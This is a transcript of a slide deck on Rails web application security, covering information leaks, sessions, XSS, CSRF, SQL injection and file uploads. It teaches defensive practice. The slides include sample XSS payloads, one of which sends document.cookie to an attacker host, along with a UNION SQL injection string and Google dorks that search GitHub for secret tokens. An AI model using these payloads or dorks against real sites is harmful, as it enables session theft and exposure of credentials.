Web Application Security

Web application frameworks (Rails here) are made to help developers build web applications. Some of them also aid in securing the web application by providing useful helper methods. But at the end, security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).

Transcript

1. Web Application Security Deepak Singh @spider_gears github/spidergears
2. Web Application Security • More personal data is moving online than ever before like Social networks, retail sites, mobile devices, etc. • The community of “bad actors” is growing and it’s international. • If the data in your app has value, someone WILL try to get to it.
3. Web Application Security • There are serious legal ramifications to security breaches. • The web regulators are interseted in code security, like for e-commerce websites, banking and insurance sectors etc
4. Cracker‘s motivation: Make money, it’s a multi-billion dollar business... Recently: Attacks on trusted news or sports sites – Break into the server: Apache, cPanel, CMS holes – Advertisement with malware – Inject specific exploits or entire attack frameworks: Mpack, 500-1,000$, available in the Russian underground, guaranteed 40-50% success rate Web Application Security
5. Our Goals for the session Goal 1: Illustrate how important security is Goal 2: Demonstrate some good practices (and a few bad mistakes) Goal 3: See how RAILS as a framework can help us. Goal 4: Point you to some awesome resources
6. Most common tools • Firewalls • SSL • Frameworks Are these enough ? ? ?
7. Common threats... • Developers ? • Frameworks ? • Users ?
8. Specific threats... • Information leaks • Authentication and authorisation • Sessions hijacking • XSS • CSRF • SQLi • Mass Assignment • Unscoped finds • File Uploads/ Downloads • Regular Expressions • Default Server binding
9. Information Leaks Default Static Files: /javascripts/application.js /javascripts/prototype.js /stylesheets/application.css /images/rails.png Pretty URLs (RESTful): /posts/32/edit /project/create /folders/delete/54 /users/81 Oh.... that should be a rails application
10. • Server Headers Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9 Oh I see who i am talking to... nice!! GET http://www.twitter.com Date: Wed, 28 Oct 2009 11:23:24 GMT Server: hi Status: 200 OK ... GET http://www.golfermail.org Date: Wed, 28 Oct 2009 11:13:41 GMT Server: Mongrel 1.1.5 Status: 200 OK ... Disable Server header # httpd.conf Header unset Server Header unset X-Powered-By Information Leaks
11. 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 SELECT * FROM kenw_content WHERE id = 1265' 1146: Table 'dbkenwright.KENW_CONTENT' doesn't exist SELECT * FROM kenw_content WHERE id = 1265 UNION sELECT * FROM KENW_CONTENT Information Leaks
12. Source Control Systems • /config/database.yml: May contain production credentials. • /config/initializers/secret_token.rb: Contains a secret used to hash session cookie. • /db/seeds.rb: May contain seed data including bootstrap admin user. • /db/development.sqlite3: May contain real data.
13. Google Hacking • "admin account info" filetype:log • "config.secret_token" site:github.com filetype:rb
14. Authentication && Authorisation Authentication: – Is the application enforcing an acceptable password policy for users? – Can the authentication process be bypassed? Authorization: – Does the application have authorization checks for all default and custom actions? Data Protection – Are sensitive database fields encrypted or hashed? – Is TLS / SSL enforced during the transmission of sensitive information such as passwords or credit card numbers?
15. RAILS Authentication and Authorisation • Available Gems – Devise – restful_authentication – rails_admin – Cancan – Authlogic etc... Wow!! Gems are so cool!! Authentication and Authorisation in clicks. Is my job done?
16. DH Key Exchange Mechanism Diffie–Hellman
17. DH Keay Exchange Mechanism Diffie–Hellman
18. Sessions • HTTP is a stateless protocol • Seesion provide state to http requests • The session id is a 32 byte long MD5 hash value. ? Hijacking  Fixation reset_session after every login
19. Session Fixation
20. Cookie Store • What you store in the session can be seen by the client – <base64 encoded session>-<digest> • Do not store sensitive information in the cookies • Max 4K of data • Can store user session_id !Cookie Replay
21. XSS Cross Site Scripting • malicious users inject client-side script into web pages viewed by other users • <script>alert('HACK YOU!');</script> • <img src=javascript:alert('HACK YOU!')> • <table background="javascript:alert('HACK YOU!')"> • <script>document.write(document.cookie);</script> • <script>document.write('<img src="http://www.attacker.com/' +document.cookie + '">');</script>
22. XSS Protection (Rails3) • Rails 3 auto escape string • Unless you html_safe or raw string – “<p>safe</p>”.html_safe – raw(“<p>safe</p>”)
23. CSRF Cross-Site Request Forgery Use another users’ authorization token to interact with a web application as the trusted user in a malicious way.
24. CSRF Protection • Use GET request for safe operation such as a query, read operation, or lookup • Use POST request for any destructive actions such as create, update, delete • POST requests can be sent automatically too. An example: •
25. CSRF Protection protect_from_forgery will check all POST requests for a security token
26. CSRF Protection • Expire session on the server, if not in use. • The session expire attribute in cookies works only on client side.
27. SQLi SQL Injection
28. Preventing SQLi
29. Mass Assignment
30. Preventing Mass Assignment
31. Preventing Mass Assignment
32. Unscoped Finds
33. File Upload and Downloads
34. File Upload and Downloads • The original file is left in the /tmp directory – Under a name like Rack*multipart*{random stuff} – Executable files could theoretically be executed by someone (BAD) • The uploaded file is copied to $RAILS_ROOT/public/data – Under a name like Rack*multipart*{random stuff} – The file is web-accessible – Embedded JavaScript will have server access (BAD) • Could potentially see files uploaded by other users (PRIVACY) • Uploaded files are never cleaned up • File names can have collisions
35. Mitigation • File in /tmp directory – Remove the file immediately after it has been copied • File is copied to $RAILS_ROOT/public/data – Copy files to a non-web-accessible dir – Validate file types and eliminate undesirable files – Ensure that files are never left as executable • Uploaded files never cleaned up – Delete files when no longer needed • File names can have collisions – Add a unique ID as a filename prefix to prevent name collisions
36. Securing Admin Interfaces • Isolate administrative interface (subdomain, authentication, restricted) • Check request.remote_ip • Digital Certificates • Two factor auth (ROTP - The Ruby One Time Password Library https://github.com/mdp/rotp) • Alerts (invalid logins, suspicious activity) • Mandatory use of secure protocols (ActionController::Base.session_options[:session_secure] = true) • Cookies with httponly and secure flags • Deployment: – Passwords inside database.yml – Subversion files – Test files
37. Where to find more.... • http://guides.rubyonrails.org/security.html • http://ha.ckers.org/blog/category/webappsec/xss/ • https://www.owasp.org/index.php/Category:OWASP_Rub y_on_Rails_Security_Guide_V2 • http://www.cvedetails.com/vulnerability-list/vendor_id-1 2043/product_id-22568/Rubyonrails-Ruby-On-Rails.html • Subscribe to Security newsletters from reputed organisations • Keep track of updates relating to your framework and other third party resources.
38. Conclusion • Security matters... • Compromising financial info will always be BAD • It’s easier to build security in from the beginning than to retrofit it later • Make good security practices second nature now...they will pay off later • The security of your app must be TESTED (Brakeman) • RSpec, Cucumber and similar tools are essential
39. Thank you!!!